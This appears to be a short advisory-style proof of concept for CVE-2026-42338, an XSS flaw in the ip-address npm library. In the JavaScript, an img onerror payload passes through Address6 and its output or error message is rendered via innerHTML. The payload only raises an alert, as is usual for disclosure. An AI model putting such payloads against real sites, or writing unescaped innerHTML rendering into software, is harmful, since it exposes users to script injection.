CVE-2026-42338 ip-address库跨站脚本漏洞

// PoC for CVE-2026-42338 // This demonstrates XSS via unescaped output in ip-address library const Address6 = require('ip-address').Address6; // Malicious payload containing HTML/JS var payload = "<img src=x onerror=alert('XSS')>"; try { // Attempt to create an Address6 object with the payload var address = new Address6(payload); // Vulnerable method: group() returns unescaped HTML string var htmlContent = address.group(); // Simulating vulnerable rendering in the application // If the app uses innerHTML, XSS triggers here document.body.innerHTML = htmlContent; } catch (e) { // Vulnerable branch: parseMessage may contain unescaped payload if (e.parseMessage) { // Rendering the error message directly leads to XSS document.body.innerHTML = e.parseMessage; } }